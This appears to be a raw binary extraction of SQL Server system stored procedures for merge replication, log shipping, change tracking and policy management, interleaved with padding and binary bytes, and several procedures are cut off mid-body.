!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!`<,hI-|,0#Z@ r8create procedure sys.sp_MScomputemergearticlescreationorder
    @publication sysname
AS
    SET NOCOUNT ON
    DECLARE @pubid uniqueidentifier 
    DECLARE @max_level int
    DECLARE @current_level int
    DECLARE @update_level int
    DECLARE @limit int
    DECLARE @retcode int

    SELECT @retcode = 0

    /* 
    ** Security Check.
    */
    -- We perform PAL check instead of db_owner check here so that client-
    -- requested dynamic snapshot can go through 
    SELECT @pubid = NULL
    exec @retcode = sys.sp_MSmerge_validate_publication_presence @publication, NULL, NULL, @pubid output
    if @retcode <> 0 or @@error <> 0
        return 1

    -- Find out the total number of articles in this publication and
    -- compute the maximum tree height based on the number of articles in 
    -- the publication. Here, the tree height is counted from the
    -- leaf-nodes towards the root(s) starting from @max_level
    SELECT @max_level = COUNT(*) + 10,
           @limit = 2 * COUNT(*) + 11 
      FROM dbo.sysmergeextendedarticlesview 
     WHERE pubid = @pubid

    IF @@ERROR <> 0
    BEGIN
        RETURN (1)
    END
   
	-- The following temp table contains the minimal amount of 
	-- article information that we want to keep around and the current
	-- computed tree level of the article
	CREATE TABLE #article_level_info
	(
		article			sysname collate database_default not null,
		source_objid	INT		NOT NULL,
		tree_level		INT		NOT NULL,
		nickname		INT		NOT NULL,
		major_type		TINYINT NOT NULL,  -- 1-view&func, 0-other
		processing_order INT	NOT NULL
	)  
   
	CREATE CLUSTERED INDEX ucarticle_level_info 
		ON #article_level_info(source_objid)

	IF @@ERROR <> 0
	BEGIN
		GOTO Failure
	END

	-- Populate the article level info table. All articles will be
	-- assigned 0 as their initial tree level. Having 
	-- a tree level of 0 means that the algorithm hasn't discovered 
	-- any objects that the article depends on within the publication.

	INSERT INTO #article_level_info 
	SELECT name, objid, 0, ISNULL(nickname, 5*@max_level),
		CASE type
			WHEN 0x40 THEN 1
			WHEN 0x80 THEN 1
			WHEN 0xA0 THEN 1			
			ELSE 0
		END, processing_order
	  FROM dbo.sysmergeextendedarticlesview
	 WHERE pubid = @pubid
	  
	-- To jump-start the algorithm, update the tree_level of 
	-- all articles with no dependency to @max_level.

	UPDATE #article_level_info 
	   SET tree_level = @max_level
	 WHERE NOT EXISTS (SELECT * 
						 FROM sys.sql_dependencies 
						WHERE source_objid = object_id
						  AND object_id <> referenced_major_id)
	IF @@ERROR <> 0
		GOTO Failure

	-- For each increasing tree level starting from @max_level, update the 
	-- the tree_level of articles depending on objects at the current
	-- level to current level + 1
	SELECT @current_level = @max_level
	WHILE 1 = 1
	BEGIN
		SELECT @update_level = @current_level + 1

		UPDATE #article_level_info
		   SET tree_level = @update_level
		  FROM #article_level_info 
		INNER JOIN sys.sql_dependencies d
			ON #article_level_info.source_objid = d.object_id 
		INNER JOIN #article_level_info ali1
			ON (d.referenced_major_id = ali1.source_objid		  
			   AND ali1.tree_level = @current_level
			   AND d.object_id <> d.referenced_major_id)
	
		-- Terminate the algorithm if we cannot find any articles 
		-- depending on articles at the current level	  
		IF @@ROWCOUNT = 0
			GOTO PHASE1

		IF @@ERROR <> 0
			GOTO Failure

		SELECT @current_level = @current_level + 1

		-- Although there should not be any circular 
		-- dependencies among the articles, the following
		-- check is performed to guarantee that 
		-- the algorithm will terminate even if there 
		-- is circular dependency among the articles
		
		-- Note that with at least one node per level,
		-- the current level can never exceed the total 
		-- number of articles (nodes) unless there is
		-- circular dependency among the articles.
		
		-- @limit is defined to be # of articles + 1
		-- although @limit = # of articles - 1 will be
		-- sufficient. This is to make absolutely sure that 
		-- the algorithm will never terminate too early

		IF @current_level > @limit
			GOTO PHASE1
	END

PHASE1:
	
	-- There may be interdependencies among articles 
	-- that haven't been included in the previous calculations so
	-- we compute the proper order among these articles here.
	SELECT @limit = @max_level - 9
	SELECT @current_level = 0
	WHILE 1 = 1
	BEGIN
		SELECT @update_level = @current_level + 1
		
		UPDATE #article_level_info 
		   SET tree_level = @update_level
		  FROM #article_level_info
		INNER JOIN sys.sql_dependencies d
			ON (#article_level_info.source_objid = d.object_id
				AND #article_level_info.tree_level < @max_level) 
		INNER JOIN #article_level_info ali1
			ON (d.referenced_major_id = ali1.source_objid
				AND ali1.tree_level = @current_level
				AND d.object_id <> d.referenced_major_id)

		IF @@ROWCOUNT = 0
			GOTO PHASE2
		
		IF @@ERROR <> 0
			GOTO Failure

		SELECT @current_level = @current_level + 1
		IF @current_level > @limit
			GOTO PHASE2
	END			

PHASE2:

	-- Select the articles out of #article_level_info 
	-- in ascending order of tree_level. This will give
	-- the proper order in which articles can be created
	-- without violating the internal dependencies among
	-- the themselves. Note that this algorithm still allows 
	-- unresolved external references outside the publication.
	-- All this algorithm can guarantee is that all articles will
	-- be created successfully using the resulting order if 
	-- there is no dependent object outside the publication. 

	SELECT article
	  FROM #article_level_info
	ORDER BY major_type ASC, tree_level ASC, processing_order ASC, nickname ASC

	DROP TABLE #article_level_info
	RETURN (0)

Failure:

	DROP TABLE #article_level_info
	RETURN (1)
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!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!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!`1<i*ޞ0贲@ 8
create procedure sys.sp_validatemergesubscription
	(@publication			sysname,
	 @subscriber			sysname,
	 @subscriber_db			sysname,
	 @level					tinyint
	 ) AS

	set nocount on 
	declare @retcode				int
	declare @pubid					uniqueidentifier
	declare @subid uniqueidentifier
	/*
	** Security Check
	*/
	EXEC @retcode = sys.sp_MSreplcheck_publish
	IF @@ERROR <> 0 or @retcode <> 0
		return (1)

	/* make sure current database is enabled for merge replication */
	exec @retcode=sys.sp_MSCheckmergereplication
	if @@ERROR<>0 or @retcode<>0
		return (1)

	select @pubid = pubid from dbo.sysmergepublications where name = @publication and UPPER(publisher)=UPPER(publishingservername()) and publisher_db=db_name()
	if @pubid is NULL
	begin
		raiserror (20026, 16, -1, @publication)
		return (1)
	end
	if @level <1 or @level > 3
	begin
		raiserror(21184, 16, -1, '@level', '1', '2','3')
		return (1)
	end

    select @subid = NULL
    select @subid = subid from dbo.sysmergesubscriptions where pubid=@pubid and db_name=@subscriber_db and 
	          UPPER(subscriber_server) collate database_default = UPPER(@subscriber) collate database_default
	if @subid is NULL
	begin
		raiserror(14055, 16, -1)
		return (1)
	end


	update dbo.MSmerge_replinfo 
	    set validation_level=@level 
	    where repid = @subid
	if @@ERROR<>0
		return (1)
	return (0)

0 ?8
create function sys.fn_peerconflicttablename(@fulltablename nvarchar(540))
returns sysname
with execute as 'dbo'
as
begin
	declare @peerconflicttablename sysname
	
	declare @sourcetabid int
	select @sourcetabid = object_id(@fulltablename, N'U')
	if @sourcetabid is NULL
		select @peerconflicttablename = NULL
	else
	begin
		declare	@ownername     sysname
				,@basetablename     sysname
				,@tname nvarchar(270)

		select	@ownername = schema_name(objectproperty(@sourcetabid, 'SchemaId'))
				,@basetablename = OBJECT_NAME(@sourcetabid)

		select @tname = N'conflict' + N'_'  + @ownername + N'_' + @basetablename
		if LEN(@tname) > 128
			select @peerconflicttablename = NULL
		else
			select @peerconflicttablename = @tname
	end
	
	return @peerconflicttablename
end
0|
 8create procedure sys.sp_MSproxylogshippingmonitorhelpsecondary 
(
    @monitor_server sysname
    ,@p1 sysname
    ,@p2 sysname
    ,@p3 sysname
    ,@p4 sysname
    ,@p5 uniqueidentifier output
    ,@p6 int output
    ,@p7 bit output
    ,@p8 nvarchar(500) output
    ,@p9 datetime output
    ,@p10 nvarchar(500) output
    ,@p11 datetime output
    ,@p12 int output
)
with execute as 'dbo'
as
begin
    set nocount on
    declare @retcode int
                ,@linkcmd nvarchar(4000)

    --
    -- get data from remote monitor
    --
    delete #secondary_monitor
    select @linkcmd = quotename(sys.fn_MSgetlogshippingmoniterlinkname(upper(@monitor_server))) + N'.master.sys.sp_help_log_shipping_monitor_secondary '
            ,@retcode = 0
    begin try
        insert into #secondary_monitor
        exec @retcode = @linkcmd 
                    @secondary_server = @p3
                    ,@secondary_database = @p4
    end try
    begin catch
        select @retcode = 1
                ,@p5 = NULL
    end catch
    
    if (@retcode = 0)
    begin
        select @p5 = secondary_id
                ,@p6 = restore_threshold
                ,@p7 = threshold_alert_enabled
                ,@p8 = last_copied_file
                ,@p9 = last_copied_date_utc
                ,@p10 = last_restored_file
                ,@p11 = last_restored_date_utc
                ,@p12 = last_restored_latency 
        from #secondary_monitor
        where upper(primary_server) = upper(@p1)
            and primary_database = @p2
    end
    else
    begin
        raiserror(32031, 10, 2, @p3, @p4, @monitor_server)
    end

    return @retcode
end
0|@ 8CREATE PROCEDURE sys.sp_syspolicy_unsubscribe_from_policy_category
	@policy_category sysname
AS
BEGIN
	IF( @policy_category IS NULL)
	BEGIN	
		RAISERROR(14043, -1, -1, '@policy_category', 'sp_syspolicy_unsubscribe_from_policy_category')
		RETURN(1)
	END

	IF (IS_MEMBER('db_owner') != 1)
	BEGIN
		RAISERROR(21050, -1, -1)
		RETURN(1)
	END
	DECLARE @policy_category_subscription_id INT
	SET @policy_category_subscription_id = 
		(SELECT policy_category_subscription_id 
			FROM [msdb].[dbo].[syspolicy_policy_category_subscriptions] pgs
			INNER JOIN [msdb].[dbo].[syspolicy_policy_categories] pg 
				ON pgs.policy_category_id = pg.policy_category_id
			WHERE pgs.target_type = N'DATABASE' AND 
					pgs.target_object = DB_NAME() AND
					pg.name = @policy_category)

	EXEC [msdb].[dbo].[sp_syspolicy_delete_policy_category_subscription] @policy_category_subscription_id
END
05 
8 
-- add it
create view sys.pdw_table_distribution_properties as
select
	object_id,
	distribution_policy,
	distribution_policy_desc	collate database_default distribution_policy_desc
from sys._pdw_table_distribution_properties
0k 88G!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!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!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!/	`<ojK0@ 8create procedure sys.sp_MSmarkschemaobject(
    @object           sysname,
    @owner            sysname = NULL
)AS
begin
    set nocount on
    declare @qualified_name nvarchar(517)
    declare @id int
    declare @retcode int

    exec @retcode = sys.sp_MSreplcheck_subscribe
    if @@error<>0 or @retcode<>0
        return (1)

    if (@owner is null or @owner = N'')
        select @owner = schema_name()

    select @qualified_name = QUOTENAME(@owner) + '.' + QUOTENAME(@object)

    BEGIN TRANSACTION
    select @id = object_id(@qualified_name)
    if not (@id is null)
    begin
        EXEC %%Object(MultiName = @qualified_name).LockMatchID(ID = @id, Exclusive = 1, BindInternal = 0)
        --EXEC %%Object(MultiName = @qualified_name).LockExclusiveMatchID(ID = @id)
        if @@error <> 0
            select @id = null
    end

    if not (@id is null)
        EXEC %%Object(ID = @id).SetSchemaPublished(Value = 1)
    COMMIT TRANSACTION
    return 0
end
02 8
create procedure sys.sp_MSget_pullsubsagent_owner (
    @publisher    sysname,
    @publisher_db sysname,
    @publication  sysname,   /* publication name */
    @owner_sid    varbinary(85) OUTPUT 
    ) AS

    declare @job_id uniqueidentifier
    set nocount on

    select @owner_sid = null
        

    if object_id('MSreplication_subscriptions', 'U') is not NULL
    begin 
        -- Get the job_id corresponding to the publication
        select @job_id = agent_id
        from MSreplication_subscriptions
        where upper(@publisher) = upper(publisher) and
            @publisher_db = publisher_db and
            @publication = publication 

        -- Using the job_id in MSsubscription properties to get the owner_sid 
        -- in msdb.dbo.sysjobs    
        select @owner_sid = owner_sid
        from  msdb.dbo.sysjobs
        where @job_id = job_id
    end            
0,G@ e8create procedure sys.sp_MSguidtostr (@guid uniqueidentifier, @mystr nvarchar(32) output)
	as
declare @guidstr nvarchar(36)
set @guidstr = convert(nchar(36), @guid)
set @mystr = substring(@guidstr, 1, 8) + substring(@guidstr, 10, 4) +
	substring(@guidstr, 15, 4)+ substring(@guidstr, 20, 4)+ substring(@guidstr, 25, 12)
0 8
-- Requires Certificate signature for catalog access
create procedure sys.sp_MSupdate_singlelogicalrecordmetadata    @logical_record_parent_nickname int, 
                                                                @logical_record_parent_rowguid uniqueidentifier, 
                                                                @replnick binary(6),
                                                                @parent_row_inserted bit output
as
    declare @logical_record_parent_oldmaxversion int, 
            @logical_record_lineage varbinary(311), 
            @logical_record_parent_regular_lineage varbinary(311), 
            @logical_record_parent_gencur bigint,
            @rows_updated int,
            @error int,
            @logical_record_parent_pubid uniqueidentifier,
            @logical_record_parent_objid int,
            @unqual_sourcename nvarchar(540),
            @source_object nvarchar(270)

    select top 1 @logical_record_parent_pubid = pubid, @logical_record_parent_objid = objid 
    from dbo.sysmergearticles 
    where nickname = @logical_record_parent_nickname

    select @source_object = QUOTENAME(SCHEMA_NAME(schema_id)) + '.' + QUOTENAME(name) 
    from sys.objects 
    where object_id = @logical_record_parent_objid
                
    select @unqual_sourcename = sys.fn_replreplacesinglequote(@source_object)
    
    if ((object_name(@logical_record_parent_objid) is null
    		or (has_perms_by_name(@unqual_sourcename, 'OBJECT', 'SELECT') 
    			|has_perms_by_name(@unqual_sourcename, 'OBJECT', 'UPDATE')
    			|has_perms_by_name(@unqual_sourcename, 'OBJECT', 'INSERT')
    			|has_perms_by_name(@unqual_sourcename, 'OBJECT', 'DELETE')=0))
    	and {fn ISPALUSER(@logical_record_parent_pubid)} <> 1)
    begin
        raiserror(15247, 11, -1)
        return 1
    end
    
    select @parent_row_inserted = 0
    
    if @logical_record_parent_rowguid is null
        return 0
    
    select top 1    @logical_record_parent_oldmaxversion = maxversion_at_cleanup
    from dbo.sysmergearticles 
    where nickname = @logical_record_parent_nickname

    exec sys.sp_MSmerge_getgencur @logical_record_parent_nickname, 1, @logical_record_parent_gencur output
    
    update dbo.MSmerge_tombstone 
        set logical_record_lineage = { fn UPDATELINEAGE(logical_record_lineage, @replnick, @logical_record_parent_oldmaxversion+1) }
        where tablenick = @logical_record_parent_nickname
        and rowguid = @logical_record_parent_rowguid
    select @rows_updated = @@rowcount, @error = @@error
    
    if @error <> 0
        return 1
        
    if @rows_updated = 1
        return 0 -- no need to insert tombstone if rows_updated = 0. This proc is never called to insert a parent's tombstone.
    
    update dbo.MSmerge_contents 
        set logical_record_lineage = { fn UPDATELINEAGE(logical_record_lineage, @replnick, @logical_record_parent_oldmaxversion+1) }
        where tablenick = @logical_record_parent_nickname
        and rowguid = @logical_record_parent_rowguid
    select @rows_updated = @@rowcount, @error = @@error
    
    if @error <> 0
        return 1
        
    if @rows_updated = 0
    begin
        select @logical_record_lineage = { fn UPDATELINEAGE(0x0, @replnick, @logical_record_parent_oldmaxversion+1) }
        
        -- if no cleanup done yet, use 1 as the version.
        if @logical_record_parent_oldmaxversion = 1
            select @logical_record_parent_regular_lineage = { fn UPDATELINEAGE(0x0, @replnick, 1) }
        else 
            select @logical_record_parent_regular_lineage = @logical_record_lineage
            
        insert into dbo.MSmerge_contents (tablenick, rowguid, lineage, colv1, generation, partchangegen,                                            
                logical_record_parent_rowguid, logical_record_lineage) 
            values (@logical_record_parent_nickname, @logical_record_parent_rowguid, @logical_record_parent_regular_lineage, 
                0x00, @logical_record_parent_gencur, NULL, @logical_record_parent_rowguid, @logical_record_lineage)
        if @@error <> 0
            return 1
        
        select @parent_row_inserted = 1
    end
    
    return 0

!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!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!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!	h`<i
kI$}0g  8create procedure sys.sp_MStran_alterview
(
	@qual_object_name nvarchar(512) --qualified 3-part-name			
	,@objid	int
	,@pass_through_scripts nvarchar(max)
	,@target_object_name nvarchar(512) = NULL
)
AS
	set nocount on

	declare @tran_artid int 
			,@artname sysname 
			,@pubname sysname
			,@retcode int
			,@subscription_active int

	select @subscription_active = 2 
		,@retcode = 0


	begin tran sp_MStran_alterview
	save tran sp_MStran_alterview

	-- disallow alter indexed view replicated as table, otherwise pub/sub can get out of sync
	-- (the only time a vew exists in sysarticles is when indexed view is replicated as table)
	if exists (select * from sysarticles where objid = @objid) 
	begin 
		raiserror(21725, 16, -1)
		goto FAILURE
	end
	
	--loop through schema only publications/articles
	exec @retcode = sys.sp_MStran_alterschemaonly @qual_object_name = @qual_object_name
												,@objid = @objid
												,@pass_through_scripts = @pass_through_scripts
	if @retcode <>0 or @@ERROR<>0
		goto FAILURE


		
	commit tran sp_MStran_alterview
	return 0

FAILURE:
	rollback tran sp_MStran_alterview
	commit tran
	return 1
0p P8p_h>mN0@ t8
create procedure sys.sp_MSmergesubscribedb(
    @value sysname,
    @create_ddl_triggers bit = 1,
    @whattocreate smallint = 1    -- 1=heavyweight,2=lightweight
    ) AS

    SET NOCOUNT ON

    declare @retcode int
    
    -- Security Check
    EXEC @retcode = sys.sp_MSreplcheck_subscribe
    IF @@ERROR <> 0 or @retcode <> 0 RETURN(1)

    -- Parameter check: @value
    IF LOWER(@value collate SQL_Latin1_General_CP1_CS_AS) NOT IN ('true','false')
    BEGIN
        RAISERROR(14137,16,-1)
        RETURN(1)
    END

    IF LOWER(@value collate SQL_Latin1_General_CP1_CS_AS) = 'true'
    BEGIN
        execute @retcode = sys.sp_MScreate_mergesystables @whattocreate=@whattocreate
        if @@ERROR <> 0 or @retcode <> 0 return (1)

		if @create_ddl_triggers = 1
        begin
			if exists (select * from dbo.sysmergearticles)
			begin
				execute @retcode= sys.sp_MSrepl_ddl_triggers @type='merge', @mode='add'
				if @@ERROR <> 0 or @retcode <> 0 return (1)
			end
        end
    END
    
    -- We assume we will do nothing about disabling a subscriber
    
0X@ 8create procedure sys.sp_changetracking_remove_tran
(
    @objid int
    ,@csn bigint
	,@batch_size int
    ,@stat_value bigint OUTPUT
)
as
begin
	set nocount on

    -- executed from within an engine transaction, no explicit one required

    declare @stmt nvarchar(1000)

	select @stat_value = 0

    if object_name(@objid) is not null and @csn is not null
    begin
        if @csn is not null
        begin
			select @stmt = N'delete top(@batch_size) from sys.' + quotename(object_name(@objid)) + ' where sys_change_xdes_id in 
				(select xdes_id from sys.syscommittab ssct where
	               	ssct.commit_ts <= @csn)'
	        exec sp_executesql @stmt = @stmt,
				@params = N'@csn bigint, @batch_size int',
				@csn = @csn,
                @batch_size = @batch_size

			select @stat_value = @@rowcount	
        end
    end
end
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!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!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!	p `<^lIk0, 08
create procedure sys.sp_assembly_dependencies_rowset2
(
    @assembly_schema        sysname = null,
    @assembly_referenced    int = null
)
as
    select
        ASSEMBLY_CATALOG        = db_name(),
        ASSEMBLY_SCHEMA         = user_name(a.principal_id),
        ASSEMBLY_ID             = ar.assembly_id,
        REFERENCED_ASSEMBLY_ID  = ar.referenced_assembly_id
    from
        sys.assembly_references ar inner join
        sys.assemblies a on
            (
                a.assembly_id = ar.assembly_id
            )
    where
        (@assembly_schema is null or a.principal_id = user_id(@assembly_schema)) and
        (@assembly_referenced is null or @assembly_referenced = 0 or @assembly_referenced = ar.referenced_assembly_id)
    order by 1, 2
0$@ 8create procedure sys.sp_help_log_shipping_monitor_primary 
(
    @primary_server sysname
    ,@primary_database sysname
)
as
begin
    set nocount on
    declare @retcode int
    --
    -- security check
    --
    exec @retcode = sys.sp_MSlogshippingsysadmincheck
    if (@retcode != 0 or @@error != 0)
        return 1
    --
    -- must be invoked from master db
    --
    if (db_name() != N'master')
    begin
        raiserror(5001, 16,-1)
        return 1
    end
    --
    -- return resultset
    --
    select *
    from msdb.dbo.log_shipping_monitor_primary
    where primary_server = upper(@primary_server)
        and primary_database = @primary_database
    --
    -- all done
    --
    return 0
end
!!!!!!!!!!!!!!!!!!!!!!!!!!!!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!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!`	<mGJ&WpY0l 8
--
-- Name:    
--          sp_IHgetPublisherInfo
--          
-- Description: 
--          HREPL helper proc to gather publisher properties
--  
-- Security: 
--          Internal
-- Requires Certificate signature for catalog access
--
-- Returns:
--          Success/Failure + publisher property output values
--      
-- Owner:   
--          <current owner> 

CREATE PROCEDURE sys.sp_IHgetPublisherInfo
(
	@publisher		sysname, 
	@publisher_db  	sysname OUTPUT,
	@publisher_type	sysname OUTPUT,
	@remoteserver  	sysname OUTPUT,
	@distributor   	sysname OUTPUT,
	@distribdb     	sysname OUTPUT
)
AS
BEGIN

	SET NOCOUNT ON

	-- is this server a distributor
	IF NOT EXISTS (select * from master.dbo.sysservers  
              where UPPER(datasource collate database_default) = UPPER(@@SERVERNAME) collate database_default  
                 AND srvstatus & 8 <> 0)
	BEGIN
		RETURN (0)
	END

	-- NULL publisher means this is a SQL publisher

	SELECT	@publisher_type = pub.publisher_type,
			@remoteserver   = srv.datasource,
			@distribdb      = pub.distribution_db,
			@distributor    = @@SERVERNAME,
			@publisher_db   = pub.distribution_db
	FROM msdb.dbo.MSdistpublishers pub
	JOIN master.dbo.sysservers srv ON pub.name = srv.srvname collate database_default
	WHERE UPPER(pub.name collate database_default) = UPPER(@publisher) collate database_default

	IF @@ERROR <> 0
		RETURN (1)

	IF @remoteserver IS NULL
	BEGIN
		RAISERROR(21618, 16, -1, @publisher)
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!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!`<nJ>0t !8--
-- Name: sp_MScopysnapshot
--
-- Descriptions: 
--
-- Parameters: as defined in create statement
--
-- Returns: 0 - success
--          1 - Otherwise
--
-- Security: 
-- Requires Certificate signature for catalog access
--
create procedure sys.sp_MScopysnapshot (
    @source_folder           nvarchar(255),
    @destination_folder      nvarchar(255)
    )
AS
BEGIN
    SET NOCOUNT ON
    DECLARE @directory_exists bit    
    DECLARE @ftporuncdir      nvarchar(5)
    DECLARE @pubdir           nvarchar(255)
    DECLARE @timestampdir     nvarchar(255)
    DECLARE @bslashindex      int
    DECLARE @bslashindex2     int
    DECLARE @bslashcounter    int
    DECLARE @command          nvarchar(1000)
    DECLARE @retcode          int
    DECLARE @platform_nt      bit

    IF platform() & 0x1 = 0x1
        SELECT @platform_nt = 1
    ELSE
        SELECT @platform_nt = 0

    -- If @source_folder is NULL then either the snapshot has not been 
    -- generated or it has been cleaned up
    IF @source_folder IS NULL OR @source_folder = N''
    BEGIN
        RAISERROR(21289, 16, -1)
        RETURN (1)
    END

    -- Make sure that the @destination folder is not null
    IF @destination_folder IS NULL OR
       @destination_folder = N''
    BEGIN
        RAISERROR(21287, 16, -1)      
        RETURN (1)
    END

    -- Append backslash to @destination_folder if it is not 
    -- there already
    IF SUBSTRING(@destination_folder, LEN(@destination_folder), 1) <> N'\'
    BEGIN
        SELECT @destination_folder = @destination_folder + N'\'
    END

    -- Check if the destination folder exists 
    EXEC sys.sp_MSget_file_existence @destination_folder, @directory_exists OUTPUT
    IF @directory_exists = 0
    BEGIN
        RAISERROR(21287, 16, -1)      
        RETURN (1)
    END    
    
    -- Parse out the last three components in the source folder 
    -- Note that the source_folder must have a trailing backslash
    SELECT @bslashindex = 1
    SELECT @bslashindex2 = 1
    SELECT @bslashcounter = 0
    WHILE (@bslashindex <> 0)
    BEGIN
        SELECT @bslashindex = CHARINDEX(N'\', @source_folder, @bslashindex + 1)
        SELECT @bslashcounter = @bslashcounter + 1
        IF @bslashcounter > 4
        BEGIN
            SELECT @bslashindex2 = CHARINDEX(N'\', @source_folder, @bslashindex2 + 1)
        END    
    END  

    SELECT @bslashindex = CHARINDEX(N'\', @source_folder, @bslashindex2 + 1)
    SELECT @ftporuncdir = SUBSTRING(@source_folder, @bslashindex2 + 1, @bslashindex - @bslashindex2 - 1)
    SELECT @bslashindex2 = @bslashindex

